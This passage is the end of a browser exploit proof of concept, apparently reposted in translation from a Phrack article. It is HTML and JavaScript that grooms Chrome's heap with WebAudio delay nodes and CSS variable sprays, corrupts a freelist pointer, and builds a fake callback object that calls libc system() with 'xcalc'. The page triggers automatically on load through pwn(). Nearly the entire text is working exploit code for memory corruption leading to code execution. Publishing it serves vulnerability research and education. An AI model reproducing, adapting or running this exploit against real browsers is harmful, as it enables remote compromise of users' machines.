      let view = new BigUint64Array(ab);
      let viewFakeObj = new DataView(abFakeObj);
      view[0] = swapEndian(fakePannerAddr - 0x10n);

      for (let i = 0; i < viewFakeObj.byteLength; i++)
        viewFakeObj.setUint8(i, 0x4a); // "J"

      const system_addr = chromeBase + kSystemLibcOffset;
      // call   qword ptr [rax + 8]
      viewFakeObj.setBigUint64(0x0, fakePannerAddr + 8n - 8n, true);
      // viewFakeObj.setBigUint64(8, 0xdeadbeefn, true);
      viewFakeObj.setBigUint64(0x8, chromeBase + kWriteListenerOffset,
        true);
      // fake BindState addr
      viewFakeObj.setBigUint64(0x10, fakePannerAddr + 0x18n, true);

      // start of fake BindState
      // 0x636c616378 == xcalc
      viewFakeObj.setBigUint64(0x18 + 0,
        0x636c616378n /* -1 because ref_count_ + 1 */ - 1n, true);
      viewFakeObj.setBigUint64(0x18 + 0x8, system_addr, true);

      let rs = getComputedStyle(div0);
      for (let i = 0; i < 10; i++) {
        div1.style.setProperty(`--sprayD${i}`, kCSSStringCross0x2000);
      }
      rs.getPropertyValue(kTargetCSSVar);
      div0.style.removeProperty(kTargetCSSVar);
      gc(); gc();
      await sleep(1000);
      console.log("start free(AudioBuffer)");

      // ((0.466796875 * 4096 * 1024) / 1024 + 0x80) * 4 + 0x20 == 0x2000
      let delayToAlloc0x2000 = 0.466796875;
      audioCtxDelay.oncomplete = async () => {
        // now freelist is circular A => A
        console.log("delay nodes deleted, freelist should be circular");
        gc(); gc(); gc(); gc();
        await sleep(3000);

        // overwrite freelist pointer to fakePannerAddr
        // allocAudioArray copy/paste function because on call the same
        // func 3 times will start compilation and change heap layout
        let audioCtxDelay = new OfflineAudioContext(1, 4096, 4096);
        let delayNode = audioCtxDelay.createDelay(delayToAlloc0x2000);
        let buffer = audioCtx.createBuffer(1, 0x600, 4096);
        let dstData = buffer.getChannelData(0);
        new Uint8Array(dstData.buffer).set(new Uint8Array(ab));
        let srcNode = audioCtxDelay.createBufferSource();
        srcNode.buffer = buffer;
        srcNode.connect(delayNode).connect(audioCtxDelay.destination);
        audioCtxDelay.suspend(0x600 / 4096.0);
        srcNode.start();
        audioCtxDelay.startRendering();
        // copy/paste
        await sleep(500);

        // consume freelist entry
        div1.style.setProperty('--tick', kCSSStringCross0x2000);

        // allocAudioArray copy/paste function because on call the same
        // func 3 times will start compilation and change heap layout
        let audioCtxDelay3 = new OfflineAudioContext(1, 4096, 4096);
        let delayNode3 = audioCtxDelay3.createDelay(delayToAlloc0x2000);
        let buffer3 = audioCtx.createBuffer(1, 0x600, 4096);
        let dstData3 = buffer3.getChannelData(0);
        new Uint8Array(dstData3.buffer).set(new Uint8Array(abFakeObj));
        let srcNode3 = audioCtxDelay3.createBufferSource();
        srcNode3.buffer = buffer3;
        srcNode3.connect(delayNode3).connect(audioCtxDelay3.destination);
        audioCtxDelay3.suspend(0x600 / 4096.0);
        srcNode3.start();
        audioCtxDelay3.startRendering();
        // copy/paste

        await sleep(1000);
        for (let i = panners.length - 3; i >= 0; i--) {
          panners[i].panningModel = 'equalpower';
        }
        console.log("destructors called")
      };
      audioCtxDelay.resume();
    }
  </script>
</head>

<body onload="pwn();">
  <div id="div0"></div>
  <div id="div1"></div>
</body>

</html>

以上内容由骨哥翻译整理。

原文:https://phrack.org/issues/71/10.html